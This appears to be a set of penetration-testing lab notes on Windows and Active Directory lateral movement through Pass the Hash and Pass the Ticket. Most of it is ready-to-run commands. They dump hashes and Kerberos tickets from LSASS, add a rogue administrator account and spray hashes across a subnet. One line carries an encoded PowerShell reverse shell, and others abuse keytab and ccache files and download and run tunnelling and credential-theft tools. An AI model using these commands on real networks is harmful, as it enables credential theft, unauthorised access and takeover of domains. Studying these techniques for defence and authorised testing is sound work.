Windows Lateral Movement
[NTLM] Pass the Hash (PtH)
Hashes can be obtained in several ways, including:
Dumping the local SAM database from a compromised host.
Extracting hashes from the NTDS database (ntds.dit) on a Domain Controller.
Pulling the hashes from memory (lsass.exe).
Windows NTLM Introduction
Microsoft's Windows New Technology LAN Manager (NTLM) is a set of security protocols that authenticates users' identities while also protecting the integrity and confidentiality of their data.
While Microsoft continues to support NTLM, Kerberos has taken over as the default authentication mechanism in Windows 2000 and subsequent Active Directory (AD) domains.
Pass the Hash with Mimikatz (Windows)
Mimikatz has a module named sekurlsa::pth
that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password.
To use this module, we will need the following:
/user
- The user name we want to impersonate./rc4
or/NTLM
- NTLM hash of the user's password./domain
- Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.)./run
- The program we want to run with the user's context (if not specified, it will launch cmd.exe).
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
This will spawn a cmd.exe with julio's user context
Pass the Hash with PowerShell Invoke-TheHash (Windows)
Another tool we can use to perform Pass the Hash attacks on Windows is Invoke-TheHash.
Local administrator privileges are not required client-side, but the user and hash we use to authenticate need to have administrative rights on the target computer.
When using Invoke-TheHash
, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:
Target
- Hostname or IP address of the target.Username
- Username to use for authentication.Domain
- Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.Hash
- NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.Command
- Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.
cd C:\tools\Invoke-TheHash\
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target <IP> -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
replace the command from above with a reverse shell payload to get a revshell
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Pass the Hash with Impacket (Linux)
Impacket has several tools we can use for different operations such as Command Execution
and Credential Dumping
, Enumeration
, etc. For this example, we will perform command execution on the target machine using PsExec
. This will give us a Powershell shell
impacket-psexec [email protected] -hashes :30B3783CE2ABF1AF70F77D0660CF3453
There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as:
Pass the Hash with CrackMapExec (Linux)
We can use CrackMapExec to try to authenticate to some or all hosts in a network looking for one host where we can authenticate successfully as a local admin.
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
This will do a password spray scan on the whole network! It can result in a lockout of your domain user
If we want to perform the same actions but attempt to authenticate to each host in a subnet using the local administrator password hash, we could add --local-auth
to our command.
This method is helpful if we obtain a local administrator hash by dumping the local SAM database on one host and want to check how many (if any) other hosts we can access due to local admin password re-use.
We can use the option -x
to execute commands. It is common to see password reuse against many hosts in the same subnet. Organizations will often use gold images with the same local admin password or set this password the same across multiple hosts for ease of administration.
crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
Pass the Hash with evil-winrm (Linux)
evil-winrm is another tool we can use to authenticate using the Pass the Hash attack with PowerShell remoting. If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
Pass the Hash with RDP (Linux)
We can perform an RDP PtH attack to gain GUI access to the target system using tools like xfreerdp
.
There are a few caveats to this attack:
Restricted Admin Mode
, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with the following error:

This can be enabled by adding a new registry key DisableRestrictedAdmin
(REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
with the value of 0. It can be done using the following command:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
Once the registry key is added, we can use xfreerdp
with the option /pth
to gain RDP access:
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
UAC Limits Pass the Hash for Local Accounts
UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.
These settings are only for local administrative accounts. If we get access to a domain account with administrative rights on a computer, we can still use Pass the Hash with that computer. More at Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy.
[Kerberos] Pass the Ticket (PtT) from Windows
Another method for moving laterally in an Active Directory environment is called a Pass the Ticket (PtT) attack. In this attack, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash.
Kerberos Protocol Refresher
The Kerberos authentication system is ticket-based. The central idea behind Kerberos is not to give an account password to every service you use. Instead, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service, preventing a ticket from being used for another purpose.
The
TGT - Ticket Granting Ticket
is the first ticket obtained on a Kerberos system. The TGT permits the client to obtain additional Kerberos tickets orTGS
.The
TGS - Ticket Granting Service
is requested by users who want to use a service. These tickets allow services to verify the user's identity.
When a user requests a TGT
, they must authenticate to the domain controller by encrypting the current timestamp with their password hash. Once the domain controller validates the user's identity (because the domain knows the user's password hash, meaning it can decrypt the timestamp), it sends the user a TGT for future requests. Once the user has their ticket, they do not have to prove who they are with their password.
If the user wants to connect to an MSSQL database, it will request a Ticket Granting Service (TGS) to The Key Distribution Center (KDC), presenting its Ticket Granting Ticket (TGT). Then it will give the TGS to the MSSQL database server for authentication.


Pass the Ticket (PtT) Attack
We need a valid Kerberos ticket to perform a Pass the Ticket (PtT)
. It can be:
Service Ticket (TGS - Ticket Granting Service) to allow access to a particular resource.
Ticket Granting Ticket (TGT), which we use to request service tickets to access any resource the user has privileges.
Before we perform a Pass the Ticket (PtT)
attack, let's see some methods to get a ticket using Mimikatz
and Rubeus
.
Harvesting Kerberos Tickets from Windows
Stored in LSASS, as a non-administrative user, you can only get your tickets, but as a local administrator, you can collect everything.
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
This will create a .kirbi
file in the current directory for each ticket.
The tickets that end with $
correspond to the computer account, which needs a ticket to interact with the Active Directory. User tickets have the user's name, followed by an @
that separates the service name and the domain, for example: [randomvalue][email protected]
.
We can also export tickets using Rubeus
and the option dump
. This option can be used to dump all tickets (if running as a local administrator). Rubeus dump
, instead of giving us a file, will print the ticket encoded in base64 format. We are adding the option /nowrap
for easier copy-paste.
Rubeus.exe dump /nowrap
Pass the Key or OverPass the Hash
NTLM Hash/key -> TGT Kerberos
To forge our tickets, we need to have the user's hash; we can use Mimikatz to dump all users Kerberos encryption keys using the module sekurlsa::ekeys
. This module will enumerate all key types present for the Kerberos package.
mimikatz.exe
privilege::debug
sekurlsa::ekeys
Now that we have access to the AES256_HMAC
and RC4_HMAC
keys, we can perform the OverPass the Hash or Pass the Key attack using Mimikatz
and Rubeus
.
mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:<username> /ntlm:<rc4_hmac_nt from prev command>
This will create a new cmd.exe
window that we can use to request access to any service we want in the context of the target user.
To forge a ticket using Rubeus
, we can use the module asktgt
with the username, domain, and hash which can be /rc4
, /aes128
, /aes256
, or /des
. In the following example, we use the aes256 hash from the information we collect using Mimikatz sekurlsa::ekeys
.
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
To learn more about the difference between Mimikatz sekurlsa::pth
and Rubeus asktgt
, consult the Rubeus tool documentation Example for OverPass the Hash.
Pass the Ticket (PtT)
In Rubeus, use the flag /ptt
to submit the previously aquired base64 ticket (TGT or TGS) to the current logon session.
Rubeus.exe asktgt /domain:inlanefreight.htb /user:<username> /rc4:<base64_ticket> /ptt
Another way is to import the ticket into the current session using the .kirbi
file from the disk.
Let's use a ticket exported from Mimikatz and import it using Pass the Ticket.
Rubeus.exe ptt /ticket:<kirbi_file>
We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<kirbi_file>"))
Using Rubeus, we can perform a Pass the Ticket providing the base64 string instead of the file name.
Rubeus.exe ptt /ticket:<base64>
Finally, we can also perform the Pass the Ticket attack using the Mimikatz module kerberos::ptt
and the .kirbi file that contains the ticket we want to import.
mimikatz.exe
privilege::debug
kerberos::ptt "<kirbi_file>"
Pass The Ticket with PowerShell Remoting (Windows)
PowerShell Remoting allows us to run scripts or commands on a remote computer. Administrators often use PowerShell Remoting to manage remote computers on the network. Enabling PowerShell Remoting creates both HTTP and HTTPS listeners. The listener runs on standard port TCP/5985 for HTTP and TCP/5986 for HTTPS.
To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.
Mimikatz - PowerShell Remoting with Pass the Ticket
mimikatz.exe
privilege::debug
kerberos::ptt "kirbi_file"
exit
powershell
Enter-PSSession -ComputerName DC01
Rubeus - PowerShell Remoting with Pass the Ticket
This prevents the erasure of existing TGTs for the current logon session.
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option /ptt
to import the ticket into our current session and connect to the DC using PowerShell Remoting.
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
Pass the Ticket (PtT) from Linux
Although not common, Linux computers can connect to Active Directory to provide centralized identity management and integrate with the organization's systems, giving users the ability to have a single identity to authenticate on Linux and Windows computers.
In most cases, Linux machines store Kerberos tickets as ccache files in the /tmp
directory. By default, the location of the Kerberos ticket is stored in the environment variable KRB5CCNAME
.
These ccache files are protected by reading and write permissions, but a user with elevated privileges or root privileges could easily gain access to these tickets.
Another everyday use of Kerberos in Linux is with keytab files. A keytab is a file containing pairs of Kerberos principals and encrypted keys (which are derived from the Kerberos password). You can use a keytab file to authenticate to various remote systems using Kerberos without entering a password. However, when you change your password, you must recreate all your keytab files.
Keytab files commonly allow scripts to authenticate automatically using Kerberos without requiring human interaction or access to a password stored in a plain text file.
Identifying Linux and Active Directory Integration
realm list
In case realm is not available, we can also look for other tools used to integrate Linux with Active Directory such as sssd or winbind.
ps -ef | grep -i "winbind\|sssd"
Finding Keytab Files
find / -name *keytab* -ls 2>/dev/null
Another way to find keytab
files is in automated scripts configured using a cronjob or any other Linux service.
crontab -l
kinit allows interaction with Kerberos, and its function is to request the user's TGT and store this ticket in the cache (ccache file). We can use kinit
to import a keytab
into our session and act as the user.
Finding ccache Files
A credential cache or ccache file holds Kerberos credentials while they remain valid and, generally, while the user's session lasts.
The path to this file is placed in the KRB5CCNAME
environment variable.
env | grep -i krb5
As mentioned previously, ccache
files are located, by default, at /tmp
.
ls -la /tmp
Abusing KeyTab Files
As attackers, we may have several uses for a keytab file. The first thing we can do is impersonate a user using kinit
. To use a keytab file, we need to know which user it was created for. klist
is another application used to interact with Kerberos on Linux. This application reads information from a keytab
file. Let's see that with the following command:
klist -k -t /opt/specialfiles/carlos.keytab
The ticket corresponds to the user Carlos. We can now impersonate the user with kinit
. Let's confirm which ticket we are using with klist
and then import Carlos's ticket into our session with kinit
.
kinit [email protected] -k -t /opt/specialfiles/carlos.keytab
klist
Keytab Extract
The second method we will use to abuse Kerberos on Linux is extracting the secrets from a keytab file. If we want to gain access to his account on the Linux machine, we'll need his password.
We can attempt to crack the account's password by extracting the hashes from the keytab file. Let's use KeyTabExtract
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
With the NTLM hash, we can perform a Pass the Hash attack. With the AES256 or AES128 hash, we can forge our tickets using Rubeus or attempt to crack the hashes to obtain the plaintext password.
The most straightforward hash to crack is the NTLM hash. We can use tools like Hashcat or John the Ripper to crack it. However, a quick way to decrypt passwords is with online repositories such as https://crackstation.net/, which contains billions of passwords.
Abusing Keytab ccache
To abuse a ccache file, all we need is read privileges on the file. These files, located in /tmp
, can only be read by the user who created them, but if we gain root access, we could use them.
To use a ccache file, we can copy the ccache file and assign the file path to the KRB5CCNAME
variable.
klist
klist: No credentials cache found (filename: /tmp/krb5cc_0)
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=$(pwd)/krb5cc_647401106_I8I133
klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
[...]
Using Linux Attack Tools with Kerberos
In case we are attacking from a machine that is not a member of the domain, for example, our attack host, we need to make sure our machine can contact the KDC or Domain Controller, and that domain name resolution is working.
In this scenario, our attack host doesn't have a connection to the KDC/Domain Controller
, and we can't use the Domain Controller for name resolution. To use Kerberos, we need to proxy our traffic via MS01
with a tool such as Chisel and Proxychains and edit the /etc/hosts
file to hardcode IP addresses of the domain and the machines we want to attack.
Configure hosts file
cat /etc/hosts
Configure Proxychains
cat /etc/proxychains.conf
<SNIP>
[ProxyList]
socks5 127.0.0.1 1080
Download and execute Chisel on attack host
(it's a single, static executable written in GoLang)
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisel && chmod +x ./chisel
sudo ./chisel server --reverse
Execute Chisel on remote host (if already present)
c:\tools\chisel.exe client <attack_host>:8080 R:socks
Finally, we need to transfer Julio's ccache file from LINUX01
to the attacker host and create the environment variable KRB5CCNAME
with the value corresponding to the path of the ccache file.
Impacket
To use the Kerberos ticket, we need to specify our target machine name (not the IP address) and use the option -k
. If we get a prompt for a password, we can also include the option -no-pass
.
proxychains impacket-wmiexec dc01 -k
Evil-Winrm
To use evil-winrm with Kerberos, we need to install the Kerberos package used for network authentication. For some Linux like Debian-based (Parrot, Kali, etc.), it is called krb5-user
In case the package krb5-user
is already installed, we need to change the configuration file /etc/krb5.conf
to include the following values:
cat /etc/krb5.conf
[libdefaults]
default_realm = INLANEFREIGHT.HTB
<SNIP>
[realms]
INLANEFREIGHT.HTB = {
kdc = dc01.inlanefreight.htb
}
<SNIP>
proxychains evil-winrm -i dc01 -r inlanefreight.htb
Miscellaneous
If we want to use a ccache file
in Windows or a kirbi file
in a Linux machine, we can use impacket-ticketConverter to convert them.
impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
Then use it:
C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
Linikatz
Linikatz is a tool created by Cisco's security team for exploiting credentials on Linux machines when there is an integration with Active Directory. In other words, Linikatz brings a similar principle to Mimikatz
to UNIX environments.
Just like Mimikatz
, to take advantage of Linikatz, we need to be root on the machine.
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
/opt/linikatz.sh
Last updated